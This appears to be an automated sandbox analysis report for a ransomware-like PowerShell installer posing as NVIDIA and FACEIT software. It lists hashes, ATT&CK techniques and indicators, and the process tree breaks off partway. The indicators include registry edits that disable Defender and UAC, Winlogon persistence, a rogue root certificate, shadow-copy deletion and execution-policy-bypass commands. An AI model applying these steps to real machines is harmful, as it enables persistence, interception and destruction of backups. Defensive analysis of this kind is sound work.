f2ef12197eef1980d63c275b91f51717b9aea0808a79598a27b66cc2c43401ad

Analysis

max time kernel
61s
max time network
156s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
05/06/2026, 00:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.ps1
Size 820B
Sample260605-ajvbtaas6m
SHA256 f2ef12197eef1980d63c275b91f51717b9aea0808a79598a27b66cc2c43401ad
MD5 d5dd8706c0338f766b0cafea8e0fecef
SHA1 1ce51e53a458439e8cdf8975adad00135289cb5a
SHA512 61bad06ab1b98a7ffca715561cdb6656cfe73e55a60f90603532e4caca3970965d3d659771e6e9af60965d312c258d16fc517db071913abcebece669fcca7a5b
TLSH
T1D80112A595D0026A9F38060A4859431ABC6A822F614F0798E2748250BFAC81EC3B6077
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery evasion execution impact installer persistence pyinstaller ransomware spyware trojan

Malware Config

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral2/files/0x000400000002a2af-52.dat	disable_win_def

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Program Files\\WindowsOptions\\scvhost.exe"	scvhost.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "0"	powershell.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	scvhost.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3148	powershell.exe
4908	PowerShell.exe
5584	powershell.exe
4932	powershell.exe
4888	powershell.exe
1836	powershell.exe
5980	powershell.exe
3148	powershell.exe
1408	powershell.exe
1836	powershell.exe

Deletes system backups 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4920	wbadmin.exe
3536	wbadmin.exe

Disables use of System Restore points 1 TTPs
defense_evasion

Inhibit System Recovery
T1490

Executes dropped EXE 20 IoCs

pid	Process
4624	UnRAR.exe
5780	nvidia_driver64.exe
3624	scvhost.exe
5212	BerserkGuard.exe
4528	nvidia_dr64.exe
4036	BerserkGuard.sys
964	FACEITInstaller_64.exe
1624	FACEITInstaller_64.tmp
2076	nvidia_driver64.exe
5232	nvidia_driver64.exe
2592	nvidia_dr64.exe
2556	nvidia_d64.exe
5168	nvidia_d64.exe
3456	nvidia_dr64.exe
4816	BerserkGuard.exe
1172	BerserkGuard.exe
668	BerserkGuard.exe
1372	BerserkGuard.exe
5692	BerserkGuard.exe
4676	BerserkGuard.exe

Loads dropped DLL 36 IoCs

pid	Process
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe
5168	nvidia_d64.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	reagentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe

Enumerates processes with tasklist 1 TTPs 64 IoCs

discovery

Process Discovery

T1057

pid	Process
1536	tasklist.exe
5032	tasklist.exe
4932	tasklist.exe
5384	tasklist.exe
5244	tasklist.exe
5984	tasklist.exe
1916	tasklist.exe
3636	tasklist.exe
4820	tasklist.exe
2832	tasklist.exe
4800	tasklist.exe
732	tasklist.exe
2252	tasklist.exe
5984	tasklist.exe
3092	tasklist.exe
1788	tasklist.exe
2592	tasklist.exe
2892	tasklist.exe
1152	tasklist.exe
3580	tasklist.exe
3948	tasklist.exe
3272	tasklist.exe
2856	tasklist.exe
1248	tasklist.exe
708	tasklist.exe
8	tasklist.exe
2776	tasklist.exe
3064	tasklist.exe
4532	tasklist.exe
3844	tasklist.exe
312	tasklist.exe
4460	tasklist.exe
4724	tasklist.exe
732	tasklist.exe
4952	tasklist.exe
5336	tasklist.exe
3436	tasklist.exe
3404	tasklist.exe
5172	tasklist.exe
3916	tasklist.exe
5588	tasklist.exe
2944	tasklist.exe
2164	tasklist.exe
4060	tasklist.exe
1740	tasklist.exe
680	tasklist.exe
4036	tasklist.exe
5984	tasklist.exe
1736	tasklist.exe
4880	tasklist.exe
1568	tasklist.exe
1788	tasklist.exe
2812	tasklist.exe
2468	tasklist.exe
2164	tasklist.exe
584	tasklist.exe
3028	tasklist.exe
5460	tasklist.exe
1096	tasklist.exe
3300	tasklist.exe
488	tasklist.exe
3500	tasklist.exe
3932	tasklist.exe
4160	tasklist.exe

Drops file in Program Files directory 25 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsOptions\BerserkGuard.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\BerserkGuard.sys	powershell.exe
File created	C:\Program Files\WindowsOptions\FACEITInstaller_64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\install.ps1	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_dr64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_driver64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\Run.vbs	powershell.exe
File created	C:\Program Files\WindowsOptions\scvhost.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_d64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\sfx.rar	powershell.exe
File created	C:\Program Files\WindowsOptions\taskmgr.dll	powershell.exe
File created	C:\Program Files\WindowsOptions\UnRAR.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\WinSW-x64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.xml	powershell.exe
File opened for modification	C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.wrapper.log	nvidia_driver64.exe
File opened for modification	C:\Program Files\WindowsOptions\scvhost.log	scvhost.exe
File created	C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.exe	powershell.exe
File opened for modification	C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.wrapper.log	nvidia_driver64.exe
File opened for modification	C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.wrapper.log	nvidia_dr64.exe
File opened for modification	C:\Program Files\WindowsOptions\BerserkGuard.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\MR_ROBOT.txt	powershell.exe
File created	C:\Program Files\WindowsOptions\n_config	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.xml	powershell.exe
File opened for modification	C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.wrapper.log	nvidia_dr64.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3668	sc.exe
5676	sc.exe
4504	sc.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x001400000002b531-164.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies trusted root certificate store through registry 1 TTPs 1 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BEFEB61E2E6B790250E2A7F6F7C5EABCDDC4E18F\Blob = 030000000100000014000000befeb61e2e6b790250e2a7f6f7c5eabcddc4e18f0b00000001000000140000006d00690074006d00700072006f00780079000000200000000100000039030000308203353082021da00302010202142112eaf9cfecab94597b731fdee787050e4f49d0300d06092a864886f70d01010b050030283112301006035504030c096d69746d70726f787931123010060355040a0c096d69746d70726f7879301e170d3236303630323230313630315a170d3336303630313230313630315a30283112301006035504030c096d69746d70726f787931123010060355040a0c096d69746d70726f787930820122300d06092a864886f70d01010105000382010f003082010a02820101009c06c14cd6b2b2010e10a7df0258ff398f79d1640c47b8391639d084e4bab59a10f033289f558a960b41a4e430ae63f6b3a2a7f2212d717fe5f1a23d4a664f7ad73c268852de282404eea500f03e042143dc914153b15eafc0fe9af8ee93a6b12c74fe6204e3e764f500d00d6bd1e9e6622dc69d8ef6f4bbd2f35b69ab6fcec5d877650a667631629689205911a83e7f87c29890a6694b26a217ade7eeaa4706b1cf254f375df2f86d3e4c371381a8d56e43ca3a6bc86880de05beb645749ac45d70a6fd2ce9f6fabd75e5d9ad001cacbc46d9296152215cc4e5120d9b2c2812ac7fb9a92962f193ff9e1e3d95c54c47abb416c1ad05342b30e0064bb661208f0203010001a3573055300f0603551d130101ff040530030101ff30130603551d25040c300a06082b06010505070301300e0603551d0f0101ff040403020106301d0603551d0e0416041418dd7ffec05cbd0334901ae24dae1b0140ba77e5300d06092a864886f70d01010b05000382010100183db3d514ed16d465a21f267c5d75378e730b648af549e3983679add9ba572859f28f0307ad0528a8aba4a2581029b53605ade3de9c8bf532e9aea025d0ed22a486039725c3eabd43612d0c77ea19f5adc6eba3cde94564a6f10943a203b2dddd54dc229095346a81ca6b09774be21769bd9155867cd94872b6abf6595536ab0931c4a1d3a95bc66e8b3d59dc4075c8ddb4b68227e5def646e5690f66403cafd63e5c617a4206b682af00c0f5230a76837aeba4902c2de7e54b8b94a47878b051ac079002524a028a81029a7a05c51fb503d91b39b0daca9c269f9b11f6bf3f8929b2fd38e7ab41231147533270678106bf4119d3b7494a930a4457f8c58ea6	nvidia_dr64.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FACEITInstaller_64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FACEITInstaller_64.tmp

Inno Setup is an open-source installation builder for Windows applications. 2 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/memory/964-272-0x0000000000010000-0x0000000000134000-memory.dmp	innosetup
behavioral2/memory/964-638-0x0000000000010000-0x0000000000134000-memory.dmp	innosetup

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5588	vssadmin.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
4972	taskkill.exe
1800	taskkill.exe
5036	taskkill.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-226940941-599731907-2645636698-1000\{B6AE9AB2-4124-4342-8F0A-40B0D55EC914}	scvhost.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\Local Settings	FACEIT_Installer64.exe

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BEFEB61E2E6B790250E2A7F6F7C5EABCDDC4E18F	nvidia_dr64.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4908	PowerShell.exe
4908	PowerShell.exe
5584	powershell.exe
5584	powershell.exe
5584	powershell.exe
5584	powershell.exe
5584	powershell.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5212	BerserkGuard.exe
5212	BerserkGuard.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5212	BerserkGuard.exe
5212	BerserkGuard.exe
5212	BerserkGuard.exe
5212	BerserkGuard.exe
3148	powershell.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
1408	powershell.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
1408	powershell.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe
5780	nvidia_driver64.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
684	Process not Found
684	Process not Found
684	Process not Found
684	Process not Found
684	Process not Found
684	Process not Found
684	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4908	PowerShell.exe
Token: SeDebugPrivilege	5584	powershell.exe
Token: SeDebugPrivilege	3148	powershell.exe
Token: SeDebugPrivilege	1408	powershell.exe
Token: SeIncreaseQuotaPrivilege	1408	powershell.exe
Token: SeSecurityPrivilege	1408	powershell.exe
Token: SeTakeOwnershipPrivilege	1408	powershell.exe
Token: SeLoadDriverPrivilege	1408	powershell.exe
Token: SeSystemProfilePrivilege	1408	powershell.exe
Token: SeSystemtimePrivilege	1408	powershell.exe
Token: SeProfSingleProcessPrivilege	1408	powershell.exe
Token: SeIncBasePriorityPrivilege	1408	powershell.exe
Token: SeCreatePagefilePrivilege	1408	powershell.exe
Token: SeBackupPrivilege	1408	powershell.exe
Token: SeRestorePrivilege	1408	powershell.exe
Token: SeShutdownPrivilege	1408	powershell.exe
Token: SeDebugPrivilege	1408	powershell.exe
Token: SeSystemEnvironmentPrivilege	1408	powershell.exe
Token: SeRemoteShutdownPrivilege	1408	powershell.exe
Token: SeUndockPrivilege	1408	powershell.exe
Token: SeManageVolumePrivilege	1408	powershell.exe
Token: 33	1408	powershell.exe
Token: 34	1408	powershell.exe
Token: 35	1408	powershell.exe
Token: 36	1408	powershell.exe
Token: SeDebugPrivilege	2076	nvidia_driver64.exe
Token: SeDebugPrivilege	4932	powershell.exe
Token: SeDebugPrivilege	5232	nvidia_driver64.exe
Token: SeIncreaseQuotaPrivilege	4932	powershell.exe
Token: SeSecurityPrivilege	4932	powershell.exe
Token: SeTakeOwnershipPrivilege	4932	powershell.exe
Token: SeLoadDriverPrivilege	4932	powershell.exe
Token: SeSystemProfilePrivilege	4932	powershell.exe
Token: SeSystemtimePrivilege	4932	powershell.exe
Token: SeProfSingleProcessPrivilege	4932	powershell.exe
Token: SeIncBasePriorityPrivilege	4932	powershell.exe
Token: SeCreatePagefilePrivilege	4932	powershell.exe
Token: SeBackupPrivilege	4932	powershell.exe
Token: SeRestorePrivilege	4932	powershell.exe
Token: SeShutdownPrivilege	4932	powershell.exe
Token: SeDebugPrivilege	4932	powershell.exe
Token: SeSystemEnvironmentPrivilege	4932	powershell.exe
Token: SeRemoteShutdownPrivilege	4932	powershell.exe
Token: SeUndockPrivilege	4932	powershell.exe
Token: SeManageVolumePrivilege	4932	powershell.exe
Token: 33	4932	powershell.exe
Token: 34	4932	powershell.exe
Token: 35	4932	powershell.exe
Token: 36	4932	powershell.exe
Token: SeDebugPrivilege	2592	nvidia_dr64.exe
Token: SeDebugPrivilege	4888	powershell.exe
Token: SeDebugPrivilege	3456	nvidia_dr64.exe
Token: SeDebugPrivilege	4972	taskkill.exe
Token: SeDebugPrivilege	1800	taskkill.exe
Token: SeDebugPrivilege	5036	taskkill.exe
Token: SeDebugPrivilege	3092	tasklist.exe
Token: SeBackupPrivilege	5092	vssvc.exe
Token: SeRestorePrivilege	5092	vssvc.exe
Token: SeAuditPrivilege	5092	vssvc.exe
Token: SeDebugPrivilege	5564	tasklist.exe
Token: SeDebugPrivilege	6004	tasklist.exe
Token: SeDebugPrivilege	1836	powershell.exe
Token: SeDebugPrivilege	3736	tasklist.exe
Token: SeDebugPrivilege	5980	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4908 wrote to memory of 2600	4908	PowerShell.exe	82
PID 2600 wrote to memory of 5752	2600	FACEIT_Installer64.exe	83
PID 5752 wrote to memory of 5584	5752	WScript.exe	84
PID 5584 wrote to memory of 4624	5584	powershell.exe	86
PID 5584 wrote to memory of 5780	5584	powershell.exe	87
PID 5780 wrote to memory of 1424	5780	nvidia_driver64.exe	88
PID 5584 wrote to memory of 3624	5584	powershell.exe	90
PID 5584 wrote to memory of 3668	5584	powershell.exe	91
PID 5584 wrote to memory of 4504	5584	powershell.exe	92
PID 5584 wrote to memory of 5676	5584	powershell.exe	93
PID 3624 wrote to memory of 3148	3624	scvhost.exe	94
PID 5584 wrote to memory of 4528	5584	powershell.exe	101
PID 4528 wrote to memory of 1408	4528	nvidia_dr64.exe	362
PID 5584 wrote to memory of 964	5584	powershell.exe	105
PID 964 wrote to memory of 1624	964	FACEITInstaller_64.exe	106
PID 5584 wrote to memory of 2076	5584	powershell.exe	107
PID 5780 wrote to memory of 3460	5780	nvidia_driver64.exe	109
PID 3624 wrote to memory of 4888	3624	scvhost.exe	112
PID 4528 wrote to memory of 4932	4528	nvidia_dr64.exe	258
PID 5584 wrote to memory of 2592	5584	powershell.exe	394
PID 4528 wrote to memory of 2556	4528	nvidia_dr64.exe	120
PID 5780 wrote to memory of 5464	5780	nvidia_driver64.exe	123
PID 2556 wrote to memory of 5168	2556	nvidia_d64.exe	125
PID 5780 wrote to memory of 3332	5780	nvidia_driver64.exe	131
PID 4888 wrote to memory of 5596	4888	powershell.exe	134
PID 5596 wrote to memory of 3084	5596	cmd.exe	136
PID 4888 wrote to memory of 4108	4888	powershell.exe	137
PID 4108 wrote to memory of 4920	4108	cmd.exe	139
PID 5780 wrote to memory of 5692	5780	nvidia_driver64.exe	247
PID 4888 wrote to memory of 4980	4888	powershell.exe	142
PID 4980 wrote to memory of 3536	4980	cmd.exe	144
PID 5168 wrote to memory of 4972	5168	nvidia_d64.exe	145
PID 5168 wrote to memory of 1800	5168	nvidia_d64.exe	147
PID 5168 wrote to memory of 5036	5168	nvidia_d64.exe	149
PID 5168 wrote to memory of 3092	5168	nvidia_d64.exe	151
PID 4888 wrote to memory of 2128	4888	powershell.exe	153
PID 2128 wrote to memory of 5588	2128	cmd.exe	506
PID 5168 wrote to memory of 5564	5168	nvidia_d64.exe	323
PID 5168 wrote to memory of 6004	5168	nvidia_d64.exe	160
PID 5780 wrote to memory of 1788	5780	nvidia_driver64.exe	386
PID 3624 wrote to memory of 1836	3624	scvhost.exe	484
PID 5168 wrote to memory of 3736	5168	nvidia_d64.exe	166
PID 3624 wrote to memory of 5980	3624	scvhost.exe	291
PID 5168 wrote to memory of 3064	5168	nvidia_d64.exe	396
PID 5168 wrote to memory of 2852	5168	nvidia_d64.exe	342
PID 5780 wrote to memory of 6128	5780	nvidia_driver64.exe	177
PID 5168 wrote to memory of 3636	5168	nvidia_d64.exe	179
PID 5168 wrote to memory of 8	5168	nvidia_d64.exe	413
PID 5168 wrote to memory of 1016	5168	nvidia_d64.exe	355
PID 5168 wrote to memory of 4852	5168	nvidia_d64.exe	185
PID 5780 wrote to memory of 3864	5780	nvidia_driver64.exe	187
PID 5168 wrote to memory of 4084	5168	nvidia_d64.exe	248
PID 5168 wrote to memory of 5232	5168	nvidia_d64.exe	553
PID 5168 wrote to memory of 2420	5168	nvidia_d64.exe	375
PID 5168 wrote to memory of 4588	5168	nvidia_d64.exe	259
PID 5780 wrote to memory of 4172	5780	nvidia_driver64.exe	200
PID 5168 wrote to memory of 4460	5168	nvidia_d64.exe	567
PID 5168 wrote to memory of 488	5168	nvidia_d64.exe	204
PID 5168 wrote to memory of 5544	5168	nvidia_d64.exe	206
PID 5780 wrote to memory of 3252	5780	nvidia_driver64.exe	208
PID 5168 wrote to memory of 240	5168	nvidia_d64.exe	210
PID 5168 wrote to memory of 4760	5168	nvidia_d64.exe	566
PID 5168 wrote to memory of 1916	5168	nvidia_d64.exe	577
PID 5168 wrote to memory of 2112	5168	nvidia_d64.exe	216

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	scvhost.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\install.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4908
- C:\Users\Admin\AppData\Local\Temp\FACEIT_Installer64.exe
  "C:\Users\Admin\AppData\Local\Temp\FACEIT_Installer64.exe"
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2600
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Run.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5752
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\RarSFX0\install.ps1" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Run.vbs"
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      Command and Scripting Interpreter: PowerShell
      Drops file in Program Files directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5584
    - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\UnRAR.exe
        
